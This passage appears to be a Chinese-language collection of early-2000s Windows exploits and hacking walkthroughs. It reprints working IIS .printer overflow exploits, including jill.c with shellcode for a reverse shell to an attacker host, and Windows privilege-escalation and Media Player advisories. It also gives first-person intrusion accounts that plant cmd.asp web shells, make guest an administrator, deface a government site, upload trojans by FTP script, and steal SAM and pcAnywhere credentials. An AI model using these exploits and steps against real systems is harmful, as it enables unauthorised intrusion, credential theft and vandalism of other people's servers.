"\x77\x7b\x77\x03\x6a\x6a\x70\x6b\x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46"
"\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\x6f\x23\x50\x66\x60\x76\x71\x6a\x77"
"\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x75\x6a"
"\x70\x6a\x77\x39\x23\x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46"
"\x7a\x66\x2d\x60\x6c\x6e\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03"
"\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x90\x90\x90\xcb\x4a"
"\x42\x6c\x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03"
"\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x00"

};

main (int argc, char *argv[])
{
char request_message[500];
int X,sock,sp=0;
unsigned short serverport=htons(80);
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr attack;
#ifdef _WIN32
WORD werd;
WSADATA wsd;
werd= MAKEWORD(2,0);
WSAStartup(werd,&wsd);
#endif
printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
printf("Vulnerability found by Riley Hassell <riley@eeye.com>\n");
printf("Exploit by Ryan Permeh <ryan@eeye.com>\n");
if(argc < 4) usage();
if(argv[1] != NULL)
{
nametocheck = gethostbyname (argv[1]);
memcpy(&attack.s_addr,nametocheck->h_addr_list[0],4);
}
else usage();
if(argv[2] != NULL)
{
serverport=ntohs((unsigned short)atoi(argv[2]));
}
if(argv[3] != NULL)
{
sp=atoi(argv[3]);
}
printf("Sending string to overflow sp %d for host: %s on port:%d\n",
sp,inet_ntoa(attack),htons(serverport));
memset(request_message,0x00,500);
snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost:
%s\r\n\r\n",
sc[sp]);
sock = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr = attack.s_addr;
serv_addr.sin_port = serverport;
X=connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
if(X==0)
{
send(sock,request_message,strlen(request_message)*sizeof(char),0);
printf("Sent overflow, now look on the c: drive of %s for
www.eEye.com.txt\n",
inet_ntoa(attack));
printf("If the file doesn‘t exist, the server may be patched,\nor
may be a "
"different service pack (try again with %d as the service
pack)\n",
sp==0?1:0);
}
else
{
printf("Couldn‘t connect\n",inet_ntoa(attack));
}
#ifdef _WIN32
closesocket(sock);
#else
close(sock);
#endif
return 0;
}
void usage()
{
printf("Syntax: iishack2000 <hostname> <server port> <service
pack>\n");
printf("Example: iishack2000 127.0.0.1 80 0\n");
printf("Example: iishack2000 127.0.0.1 80 1\n");
exit(1);
}
--------------------------------------------------------------------------

Wanderley J. Abreu Jr. <storm@unikey.com.br> 提供了一个Perl脚本"webexplt.pl"

--------------------------------------------------------------------------
#!/usr/bin/perl
# Exploit By storm@stormdev.net
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol=20
# This code was written after eEye brought this issue in BugTraq.

use Socket;
print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";
if (not $ARGV[0]) {
print qq~
Usage: webexplt.pl <host>
~;=20
exit;}

$ip=3D$ARGV[0];

print "Sending Exploit Code to host: " . $ip . "\n\n";

my @results=3Dsendexplt("GET /NULL.printer HTTP/1.0\n" . "Host: =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");

print "Results:\n";

if (not @results) {
print "The Machine tested has the IPP Vulnerability!";
}

print @results;

sub sendexplt {
my ($pstr)=3D@_;=20
$target=3D inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname(‘tcp‘)||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); =20
$|=3D1;
print $pstr; =20
my @in=3D<S>;
select(STDOUT);
close(S);
return @in;
} else { die("Can‘t connect...\n"); }
}
--------------------------------------------------------------------------

dark spyrit <dspyrit@beavuh.org> 提供了如下完整溢出攻击代码，该代码对日文
版IIS无效，但是并不意味着日文版IIS不存在这个漏洞。

--------------------------------------------------------------------------
/* IIS 5 remote .printer overflow. "jill.c" (don‘t ask).
*
* by: dark spyrit <dspyrit@beavuh.org>
*
* respect to eeye for finding this one - nice work.
* shouts to halvar, neofight and the beavuh bitchez.
*
* this exploit overwrites an exception frame to control eip and get to
* our code.. the code then locates the pointer to our larger buffer and
* execs.
*
* usage: jill <victim host> <victim port> <attacker host> <attacker port>
*
* the shellcode spawns a reverse cmd shell.. so you need to set up a
* netcat listener on the host you control.
*
* Ex: nc -l -p <attacker port> -vv
*
* I haven‘t slept in years.
*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

int main(int argc, char *argv[]){

/* the whole request rolled into one, pretty huh? carez. */

unsigned char sploit[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a";

int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;

printf("iis5 remote .printer overflow.\n"
"dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n");

if (argc != 5){
printf("usage: %s <victimHost> <victimPort> <attackerHost>
<attackerPort>\n",argv[0]);
exit(1);
}

if ((ht = gethostbyname(argv[1])) == 0){
herror(argv[1]);
exit(1);
}

sin.sin_port = htons(atoi(argv[2]));
a_port = htons(atoi(argv[4]));
a_port^=0x9595;

sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);

if ((ht = gethostbyname(argv[3])) == 0){
herror(argv[3]);
exit(1);
}

a_host = *((unsigned long *)ht->h_addr);
a_host^=0x95959595;

sploit[441]= (a_port) & 0xff;
sploit[442]= (a_port >> 8) & 0xff;

sploit[446]= (a_host) & 0xff;
sploit[447]= (a_host >> 8) & 0xff;
sploit[448]= (a_host >> 16) & 0xff;
sploit[449]= (a_host >> 24) & 0xff;

if ((s = socket(AF_INET, SOCK_STREAM, 0)) ==
    -1){
perror("socket");
exit(1);
}

printf("\nconnecting... \n");

if ((connect(s, (struct sockaddr *) &sin,
    sizeof(sin))) == -1){
perror("connect");
exit(1);
}

write(s, sploit, strlen(sploit));
sleep (1);
close (s);

printf("sent... \nyou may need to send a carriage on your listener "
"if the shell doesn‘t appear.\nhave fun!\n");
exit(0);
}
--------------------------------------------------------------------------

--------------------------------------------------------------------------------
建议:

微软已经发布了针对该漏洞的补丁，访问如下链接获取更多信息
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321

信息来源：maxilaw
www.patching.net(2001-5-7 16:03:49)


微软Windows 2000/NT 4.0本地权限提升漏洞

是否远程：是 是否本地：是
适用环境：
Microsoft Windows NT 4.0SP6a
Microsoft Windows NT 4.0SP6
Microsoft Windows NT 4.0SP5
Microsoft Windows NT 4.0SP4
Microsoft Windows NT 4.0SP3
Microsoft Windows NT 4.0SP2
Microsoft Windows NT 4.0SP1
Microsoft Windows NT 4.0
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000

--------------------------------------------------------------------------------

不受影响系统:
Microsoft Windows XP Professional
Microsoft Windows XP Home

BUGTRAQ ID: 4287

微软Windows 2000和Windows NT 4存在一个漏洞，允许任意一个本地用户获取SYSTEM权限。

通过如下办法请求调试子系统(smss.exe)获取任意进程句柄、线程句柄的副本：

1) 调用DbgUiConnectToDbg()成为调试子系统客户端
2) 调用ZwConnectPort()连接DbgSsApiPort LPC port，任意用户都可以访问该端口
3) 调用ZwRequestPort()请求调试子系统处理CreateProcess SsApi，形参为欲复制的PID或TID
4) 调用WaitForDebugEvent()等待调试子系统响应CREATE_PROCESS_DEBUG_EVENT，返回
的消息中含有欲复制的PID或TID的副本

于是本地普通用户可获取特权进程PID的副本，潜在允许任意应用程序以特权运行。

该漏洞存在于Windows 2000和Windows NT 4上，可能NT 3.51也受此问题影响。

<*来源：Radim "EliCZ" Picha （Bugs@EliCZ.cjb.net）

链接：http://archives.neohapsis.com/archives/bugtraq/2002-03/0180.html
http://www.anticracking.sk/EliCZ/
*>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Radim "EliCZ" Picha（Bugs@EliCZ.cjb.net） 提供了如下测试程序：

http://www.anticracking.sk/EliCZ/bugs/DebPloit.zip

--------------------------------------------------------------------------------
建议:

临时解决方法：

如果您不能立刻安装补丁或者升级，建议您采取以下措施以降低威胁：

* Radim "EliCZ" Picha <Bugs@EliCZ.cjb.net>提供了一个二进制补丁:

http://www.anticracking.sk/EliCZ/bugs/DebPloit.zip

目前我们还没有验证过该补丁，对于重要系统，我们建议您小心使用。

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/

出处：nsfocus
信息来源：阿刚
www.patching.net(2002-3-21 8:25:52)


微软媒体播放器快捷方式执行漏洞

是否远程：是 是否本地：是
适用环境：

Microsoft Windows Media Player 6.4
Microsoft Windows Media Player 7
--------------------------------------------------------------------------------

微软媒体播放器快捷方式执行漏洞

不受影响系统:
Microsoft Windows Media Player 7.1

描述:
--------------------------------------------------------------------------------

BUGTRAQ ID ：2765
CVE ID ：CAN-2001-0243

微软Windows Media Player(媒体播放器)在处理互联网快捷连接方式时存在一个安全漏
洞。Windows Media Player会将这些互联网快捷连接用一个已知且固定的文件名存入用
户的临时文件夹。这样一来就出现了一个安全漏洞。因为HTML代码也可能被存入这些快
捷连接中，并通过网页或HTML邮件传播，这时这些代码就会在本地计算机区域而不是互
联网区域中运行。攻击者可以利用这一安全漏洞来阅读 – 不过不能增加、删除或修改
- 他人计算机中的文件。

<*来源：微软安全公告MS01-029:
http://www.microsoft.com/technet/security/bulletin/MS01-029.asp
*>

--------------------------------------------------------------------------------
建议:

厂商补丁：

微软已就此发布了一个安全公告(MS01-029)以及相应补丁。

您可以在下列地址看到微软安全公告的详细内容：

http://www.microsoft.com/technet/security/bulletin/ms01-029.asp

补丁程序可以在下列地址下载：

. Windows Media Player 6.4:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29921

. Windows Media Player 7:

升级到 Windows Media Player 7.1:
http://download.microsoft.com/download/winmediaplayer/wmp71/7.1/W982KMe/EN-US/mp71.exe

信息来源：maxilaw
www.patching.net(2001-5-28 16:05:29)


Frontpage扩展无权限设置入侵取得admin

晚上从网上下来，喝了杯咖啡。。。。倒，惨了。忘了咖啡是提神用的，这下好了。。睡不下了，只好开启pc，连上肉鸡看看扫到了些什么了，
结果：一大堆的sql弱口令和大堆的U，，看看有什麽好玩的。。。。。。。。。“某某政府网站”，好，就这个。看看，原来是Frontpage无权限设置啊，我喜欢，，西西。。。连上肉鸡。。取出珍藏的cmd.asp，吹吹上面的灰尘，咳咳咳。。。
说说这个漏洞的来历吧，office中的acces类型的数据库上传到服务器上，运行的话，需要服务器上有Frontpage扩展支持。才可以运行，包括Frontpage的计数器等等一些功能都需要着扩展的支持。而其中一项就是可以远程管理网页目录的功能，这项功能在安装Frontpage扩展后也就是自动运行了，但似乎不会提醒管理员添加密码（知道的那位大虾后面帖一下），所以这个漏洞纯粹是配置不当造成的。
肉鸡上：打开‘网络邻居’-‘添加网上邻居’-输入ip(格式：http://ip)-next下去。
出来了，欢呼吧！！这就是对方的首页文件夹了，看到里面的文件了吗？（没看到？那不关我的事，这应该是属于眼科医生的任务）然后把cmd.asp拷贝到该web文件夹中。打开ie,输入http://ip/cmd.asp。ok,出现指令运行框了。那个run就是运行的意思（台下一大堆烂茄子飞了上来。。。。噼哩啪啦。。）
输入：dir c:\index.* /s 确定对方主页的目录
驱动器 C 中的卷没有标签。
卷的序列号是 702C-518C

c:\Program Files\Microsoft SQL Server\80\Tools\HTML 的目录

2000-04-28 00:33 96 index.gif
1 个文件 96 字节

c:\WINNT\amcdl\cache 的目录

2002-04-19 15:43 149 index.chc
1 个文件 149 字节

c:\WINNT\Cookies 的目录

2001-10-09 10:35 32,768 index.dat
1 个文件 32,768 字节

c:\WINNT\Help\iisHelp\iis\misc 的目录

1999-12-16 16:44 2,564 index.asp
1999-11-04 16:45 951 index.gif
1999-12-16 16:44 1,230 index.htm
3 个文件 4,745 字节

c:\WINNT\History\History.IE5 的目录

2001-10-09 10:35 49,152 index.dat
1 个文件 49,152 字节

c:\WINNT\Temporary Internet Files\Content.IE5 的目录

2001-10-09 10:43 180,224 index.dat
1 个文件 180,224 字节

列出所有文件:
8 个文件 267,134 字节
0 个目录 2,757,844,992 可用字节
看看，到他首页，看到它的首页文件名为index.swf看来不是这里。。看看其他的盘。。
dir d:\index.* /s
d:\nei 的目录

2002-04-28 09:33 6,189 index.htm
1 个文件 6,189 字节

d:\wai 的目录

2002-03-19 10:40 913 index.htm
1 个文件 913 字节

d:\wai\asp 的目录

2002-04-18 14:56 20,242 index.html
1 个文件 20,242 字节

d:\wai\asp\admin 的目录

2001-05-20 18:12 391 index.asp
1 个文件 391 字节

d:\xxssj 的目录

2002-04-22 14:37 2,490 index.asp
1 个文件 2,490 字节

d:\xxssj\swf 的目录

2002-04-22 14:37 32,102 index.swf
1 个文件 32,102 字节

d:\xxssj\swf\_vti_cnf 的目录

2002-04-16 15:27 221 index.swf
1 个文件 221 字节

d:\xxssj\_vti_cnf 的目录

2002-04-22 14:37 1,133 index.asp
1 个文件 1,133 字节

列出所有文件:
8 个文件 63,681 字节
0 个目录 10,368,991,232 可用字节
看到了吗？红色的就是首页目录和首页文件了，d:\xxssj和index.swf,ok!拷贝srv.exe,复制到刚才那个web文件夹中。然后在命令运行框中打入 d:\xxssj\srv.exe (这里要注意的是，当你打完命令后按下回车，ie进度条在动的时候就可以telnet ip 99了）
然后：net user guest /active:yes (解禁guest )
net user guest 1314 (设置guest的密码1314）
net localgroup administrators guest /add （将guest加入到admin组）
ok,现在已经取得了admin了。接下来该干什麽呢？换它的首页？？？还是…………delete给他点教训？？不过我看了内部的配置后就打消了这个主意了。因为其内部的配置相当的完善，这漏洞纯粹是由于疏忽造成的。可以理解，人非圣贤嘛！
ok,就在他首页上写上几句话，提醒他一下好了。
“嘿嘿，不好意思。。我改了你首页，你的网站中存在着一些人为配置的错误。尽快修正吧……呵呵！！”
http://ziyoutongmeng.51.net
2002.4.23 午夜 幻影
其实本来还想在上面写上以前经常跟朋友改页时候用的一句话“我不黑你，谁黑你”。呵呵，不过后来想想，还是算了。瞌睡虫上来了，去睡觉了。明天还要半期考呢…………各位，good evening!!!
有什麽错误，欢迎指证。


lcx的win98下sa空密码入侵脚本20步

前言，这是我两天入侵两台sa空密码主机的真实总结:
1.如何找到sa空密码肉鸡？自己用流光扫吧。
2.注意这是在win98下入侵sa的真实情况。局域网中的win98，在网吧里。
3.工具：supersqlexec.exe、cmd.asp(www.sandflee.net有下)海阳顶端网木马(黑白)放在本机f:盘
4.用supersqlexec联接成功。在命令行中输入:
net user guest /active:yes
（>指肉鸡显示下同）The command completed successfully.
net user guest 123456
> The command completed successfully
net localgroup administrators guest /add
> The command completed successfully.
这几个命令做完后，意思是将guest用户激活，密码是123456，并提升为admin。
5.心中暗喜，下一步启动流光的种植者给它种个冰河。奇怪了，无论如何也不成功。
6.换个用户名吧。回到supersqlexe.exe的命令模式net user lcx 123456 /add，命令失败。服务器没开ipc$?
7.回到sqlexe命令行中net start lanmanserver肉鸡却显示ipc$已启动。为何在这一步流光联不上，我百思 不得其解。我后来换wn2000的cmd下net use \\ip\ipc$ "123456" /user:"guest"也不能联接成功。
8.换个思路吧。在本机上将f:设为共享,在dos下ipconfig.exe得知自己本机ip
9.回到sqlexe命令行中net use x: \\本机ip\f，将自己本机f：盘映射成为肉鸡的x:盘。过了一会，服务器显 示命令成功完成。
10.sqlexe命令行中运行set得知其主页位置在d:\inetpub\wwwroot。不错，服务器支持asp.你如果看不懂这个 命令，也可以根据其主页上某个图像文件名，然后dir *.jpg/s查找其主页位置。
11.sqlexe命令行中copy x:\cmd.asp d:\inetpub\wwwroot
12.回到ie中http://服务器ip/cmd.asp，出现了ie界面的dos.建个文件夹看看。md d:\inetpub\wwwroot\aspmm
13.sqlexec命令行中copy x:\海阳顶端网木马\*.* d:\inetpub\wwwroot\aspmm\.再将目录隐藏attrib +h d:\inetpub\wwwroot\aspmm
14.现在你可以用海阳顶端网木马上传任意文件了。完全控制了肉鸡的文本文件。当然你也可以通过映射来 copy.呀！这台服务器不支持fso，海阳顶端网木马无法运行。试一下ftp上传。先将自己的文件lcx.exe上传 到个人主页空间。
15.在自己本机上建立up.txt内容如下：
open ftp1.go.163.com(我用得是网易ftp)
username(你的上传用户名)
password(密码)
get lcx.exe(你要上传到肉鸡的文件名)
bye(退出ftp)
通过映射copy到肉鸡的c:\up.txt
16.sqlexec命令行中ftp -s:c:\up.txt等一会你就看到lcx.exe已经在肉鸡在\winnt\system32\下了。
17.运气好的话应该可以ipc联接成功，开个端口进去的。然后就可以做个代理、做个跳板了，可惜我运气不好 ，这台机器无法ipc$成功，流光种植者无法联接。上传了好几个exe木马也无法运行。
18. 通过仔细查找，得知肉鸡装了pcanywhere.查*.cif，该文件却在C:/WINNT/Profiles/All Users/Application Data/Symantec/pcAnywhere这里，好深的目录。怎样copy它呢？
19.通过一天的dos8.3规则的补习才知应是这样 :copyc:\winnt\Profiles\alluse~1\applic~2\symantec\pcanyw~1\*.cif d:\inetpub\wwwroot\.然后通过 ie下载。
20.流光cif文件解码，得知用户名和密码。唯一遗憾的是ipc$无法成功，无法开端口进去，guest用户却可以 激活不知什么原因，望高手指点。
——————————
www.haiyang.tk


Meteor FTPD 1.0漏洞利用实例

Meteor FTPD 1.0漏洞利用实例
作者：雾中鸟
Meteor FTPD 1.0是一款FTP服务器软件，存在一个漏洞就是能让在此FTP服务器上拥有帐户的普通用户可以稍稍变形就可以浏览各个目录，因此就产生了很大的危险，下面我就用一个例子来说明这一点：
ftp 192.168.0.1
Connected to 192.168.0.1
220 Service ready for new user
Utilisateur (192.168.160.1none)) : japleak
331 User name okay, need password
Mot de passe :
230- Meteor FTP Version 1.0
230 User logged in, proceed
ftp> ls ../winnt/repair/*
200 Command OK
150 About to open data connection
.
..
setup.log
secsetup.inf
system
software
default
security
sam
ntuser.dat
autoexec.nt
config.nt
226 Closing data connection. Requested file action successful.
ftp : 110 octets re=E7us dans 0,02Secondes 5,50Ko/sec.
ftp> mget ../winnt/repair/sam
200 Command OK
150 About to open data connection
226 Closing data connection. Requested file action successful.
ftp : 20480 octets re=E7us dans 0,01Secondes 2048,00Ko/sec.
ftp>quit
看见了吧？只要有一定经验的朋友都应该知道怎么做了，就是用lc3破解sam了。当然这里还可以对上面的方法稍稍解释：
首先连接服务器192.168.0.1，由于你是这个服务器上的合法用户，用你的帐户和密码登陆，然后用ls命令列出%system%\repair\目录下的所有文件，这里我们就需要的是sam文件（储存nt帐户的密码文件）。然后用mget下载到本地，最后断开连接quit。
国外的一个很出名的黑客组织L0pht（http://www.l0pht.com/）推出的这个专门破解nt/2000中sam文件的lc3，可以在短短几个小时破解出60％的密码，只要有足够时间，还怕不能破解出来？


WEB入侵的过程

本文描述了如何通过WEB入侵获得freebsd 4.0的root权限。
文章主要以教育为目的，希望各位观者不要使用本文中的一些方法及程序，危害网络的安全。
作者：lovehacker
联系方式：lovehacker@263.net
网站地址：http://www.chinansl.com
版权属安盟信息科技有限责任公司所有，允许转载，但需保持文章的完整性。

很偶然的一个机会，看到了一个网站，页面清新，很舒服的感觉。网站是用JSP开发的，由于个人爱好，所以我决定看看系统的安全性。

telnet http://www.target.com/ 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的结果如下：
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
